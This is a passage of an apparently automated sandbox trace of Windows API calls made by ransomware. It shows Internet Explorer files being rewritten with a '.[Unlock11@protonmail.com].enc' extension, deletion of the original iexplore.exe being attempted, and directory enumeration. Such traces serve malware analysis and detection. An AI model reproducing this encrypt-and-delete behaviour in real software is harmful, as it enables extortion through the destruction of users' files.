dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.365] GetFileType (hFile=0x39c) returned 0x1 [0124.365] GetLastError () returned 0x0 [0124.365] GetCurrentThreadId () returned 0x9b0 [0124.365] GetLastError () returned 0x0 [0124.365] GetFileType (hFile=0x39c) returned 0x1 [0124.365] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.365] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.365] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.366] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.366] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.366] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.366] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.366] GetLastError () returned 0x0 [0124.366] GetCurrentThreadId () returned 0x9b0 [0124.366] GetLastError () returned 0x0 [0124.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.366] GetLastError () returned 0x0 [0124.366] GetLastError () returned 0x0 [0124.367] GetLastError () returned 0x0 [0124.367] GetLastError () returned 0x0 [0124.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265578 [0124.367] GetLastError () returned 0x0 [0124.367] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.368] GetFileType (hFile=0x3ac) returned 0x1 [0124.368] GetLastError () returned 0x0 [0124.368] GetCurrentThreadId () returned 0x9b0 [0124.368] GetLastError () returned 0x0 [0124.368] GetFileType (hFile=0x3ac) returned 0x1 [0124.368] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.368] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.368] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.368] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.368] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.368] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.368] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.369] GetLastError () returned 0x0 [0124.369] GetCurrentThreadId () returned 0x9b0 [0124.369] GetLastError () returned 0x0 [0124.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0124.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.369] GetLastError () returned 0x0 [0124.369] GetLastError () returned 0x0 [0124.369] GetCurrentThreadId () returned 0x9b0 [0124.369] GetLastError () returned 0x0 [0124.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0124.370] GetLastError () returned 0x0 [0124.370] GetLastError () returned 0x0 [0124.370] GetCurrentThreadId () returned 0x9b0 [0124.370] GetLastError () returned 0x0 [0124.370] GetLastError () returned 0x0 [0124.424] GetLastError () returned 0x0 [0124.425] GetCurrentThreadId () returned 0x9b0 [0124.425] GetLastError () returned 0x0 [0124.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655f8 | out: hHeap=0x2ad0000) returned 1 [0124.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.425] GetCurrentThreadId () returned 0x9b0 [0124.426] GetLastError () returned 0x0 [0124.426] GetLastError () returned 0x0 [0124.426] GetLastError () returned 0x0 [0124.426] GetLastError () returned 0x0 [0124.426] GetCurrentThreadId () returned 0x9b0 [0124.426] GetLastError () returned 0x0 [0124.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0124.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.427] GetLastError () returned 0x0 [0124.428] GetLastError () returned 0x0 [0124.428] GetCurrentThreadId () returned 0x9b0 [0124.428] GetLastError () returned 0x0 [0124.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.429] GetLastError () returned 0x0 [0124.429] GetLastError () returned 0x0 [0124.430] GetCurrentThreadId () returned 0x9b0 [0124.430] GetLastError () returned 0x0 [0124.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32655f8 [0124.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265528 | out: hHeap=0x2ad0000) returned 1 [0124.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.430] GetCurrentThreadId () returned 0x9b0 [0124.430] GetLastError () returned 0x0 [0124.431] GetLastError () returned 0x0 [0124.431] GetLastError () returned 0x0 [0124.431] GetLastError () returned 0x0 [0124.431] GetCurrentThreadId () returned 0x9b0 [0124.431] GetLastError () returned 0x0 [0124.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0124.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0124.432] GetLastError () returned 0x0 [0124.432] GetLastError () returned 0x0 [0124.433] GetCurrentThreadId () returned 0x9b0 [0124.433] GetLastError () returned 0x0 [0124.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.433] GetLastError () returned 0x0 [0124.433] GetLastError () returned 0x0 [0124.435] GetCurrentThreadId () returned 0x9b0 [0124.435] GetLastError () returned 0x0 [0124.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265608 [0124.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655f8 | out: hHeap=0x2ad0000) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.435] GetCurrentThreadId () returned 0x9b0 [0124.435] GetLastError () returned 0x0 [0124.435] GetLastError () returned 0x0 [0124.436] GetLastError () returned 0x0 [0124.436] GetLastError () returned 0x0 [0124.436] GetCurrentThreadId () returned 0x9b0 [0124.436] GetLastError () returned 0x0 [0124.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0124.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0124.436] GetLastError () returned 0x0 [0124.437] GetLastError () returned 0x0 [0124.437] GetCurrentThreadId () returned 0x9b0 [0124.438] GetLastError () returned 0x0 [0124.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.438] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.438] GetLastError () returned 0x0 [0124.438] GetLastError () returned 0x0 [0124.439] GetCurrentThreadId () returned 0x9b0 [0124.439] GetLastError () returned 0x0 [0124.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.439] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654d8 [0124.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0124.439] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.439] GetCurrentThreadId () returned 0x9b0 [0124.440] GetLastError () returned 0x0 [0124.440] GetLastError () returned 0x0 [0124.440] GetLastError () returned 0x0 [0124.440] GetLastError () returned 0x0 [0124.440] GetCurrentThreadId () returned 0x9b0 [0124.440] GetLastError () returned 0x0 [0124.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0124.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0124.441] GetLastError () returned 0x0 [0124.442] GetLastError () returned 0x0 [0124.442] GetCurrentThreadId () returned 0x9b0 [0124.442] GetLastError () returned 0x0 [0124.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.442] GetLastError () returned 0x0 [0124.444] GetLastError () returned 0x0 [0124.444] GetCurrentThreadId () returned 0x9b0 [0124.444] GetLastError () returned 0x0 [0124.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654e8 [0124.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.445] GetCurrentThreadId () returned 0x9b0 [0124.445] GetLastError () returned 0x0 [0124.445] GetLastError () returned 0x0 [0124.445] GetLastError () returned 0x0 [0124.445] GetLastError () returned 0x0 [0124.445] GetCurrentThreadId () returned 0x9b0 [0124.445] GetLastError () returned 0x0 [0124.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.446] GetLastError () returned 0x0 [0124.447] GetLastError () returned 0x0 [0124.448] GetCurrentThreadId () returned 0x9b0 [0124.448] GetLastError () returned 0x0 [0124.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.448] GetLastError () returned 0x0 [0124.449] GetLastError () returned 0x0 [0124.449] GetCurrentThreadId () returned 0x9b0 [0124.449] GetLastError () returned 0x0 [0124.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654c8 [0124.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654e8 | out: hHeap=0x2ad0000) returned 1 [0124.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.450] GetLastError () returned 0x0 [0124.450] GetLastError () returned 0x0 [0124.450] GetLastError () returned 0x0 [0124.450] GetLastError () returned 0x0 [0124.450] GetCurrentThreadId () returned 0x9b0 [0124.450] GetLastError () returned 0x0 [0124.450] GetCurrentThreadId () returned 0x9b0 [0124.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x370eb48 [0124.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0124.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0124.451] GetLastError () returned 0x0 [0124.452] GetLastError () returned 0x0 [0124.452] GetCurrentThreadId () returned 0x9b0 [0124.452] GetLastError () returned 0x0 [0124.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.452] GetCurrentThreadId () returned 0x9b0 [0124.453] GetCurrentThreadId () returned 0x9b0 [0124.453] GetCurrentThreadId () returned 0x9b0 [0124.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.454] GetCurrentThreadId () returned 0x9b0 [0124.454] GetCurrentThreadId () returned 0x9b0 [0124.456] GetCurrentThreadId () returned 0x9b0 [0124.457] GetCurrentThreadId () returned 0x9b0 [0124.457] GetCurrentThreadId () returned 0x9b0 [0124.457] GetCurrentThreadId () returned 0x9b0 [0124.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265578 [0124.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265528 | out: hHeap=0x2ad0000) returned 1 [0124.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.458] GetCurrentThreadId () returned 0x9b0 [0124.460] GetCurrentThreadId () returned 0x9b0 [0124.460] GetCurrentThreadId () returned 0x9b0 [0124.506] GetCurrentThreadId () returned 0x9b0 [0124.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654c8 [0124.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.506] GetCurrentThreadId () returned 0x9b0 [0124.518] GetCurrentThreadId () returned 0x9b0 [0124.518] GetCurrentThreadId () returned 0x9b0 [0124.518] GetCurrentThreadId () returned 0x9b0 [0124.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.519] GetCurrentThreadId () returned 0x9b0 [0124.519] GetCurrentThreadId () returned 0x9b0 [0124.520] GetCurrentThreadId () returned 0x9b0 [0124.520] GetCurrentThreadId () returned 0x9b0 [0124.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.520] GetCurrentThreadId () returned 0x9b0 [0124.521] GetCurrentThreadId () returned 0x9b0 [0124.521] GetCurrentThreadId () returned 0x9b0 [0124.521] GetCurrentThreadId () returned 0x9b0 [0124.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9358) returned 0x37018a8 [0124.522] GetCurrentThreadId () returned 0x9b0 [0124.523] GetCurrentThreadId () returned 0x9b0 [0124.523] GetCurrentThreadId () returned 0x9b0 [0124.523] CloseHandle (hObject=0x3ac) returned 1 [0124.524] GetCurrentThreadId () returned 0x9b0 [0124.524] CloseHandle (hObject=0x39c) returned 1 [0124.524] GetCurrentThreadId () returned 0x9b0 [0124.524] DeleteFileA (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0 [0124.524] GetCurrentThreadId () returned 0x9b0 [0124.524] GetCurrentThreadId () returned 0x9b0 [0124.524] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\sqmapi.dll", lpFilePart=0x9bada4*="sqmapi.dll") returned 0x2d [0124.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.525] GetCurrentThreadId () returned 0x9b0 [0124.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.525] FindFirstFileA (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0124.525] GetCurrentThreadId () returned 0x9b0 [0124.525] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.526] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0124.526] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0124.526] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0124.526] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0 [0124.526] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0124.526] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0124.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0124.527] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0124.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0124.528] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0124.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0124.529] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui", lpFilePart=0x9bada4*="hmmapi.dll.mui") returned 0x37 [0124.529] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui", lpFilePart=0x9bada4*="ieinstal.exe.mui") returned 0x39 [0124.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.530] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui", lpFilePart=0x9bada4*="iexplore.exe.mui") returned 0x39 [0124.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.530] FindFirstFileA (in: lpFileName="C:\\Program Files\\Internet Explorer\\images\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0124.530] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.530] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="bing.ico", cAlternateFileName="")) returned 1 [0124.530] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="bing.ico", cAlternateFileName="")) returned 0 [0124.530] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0124.531] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0124.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0124.531] 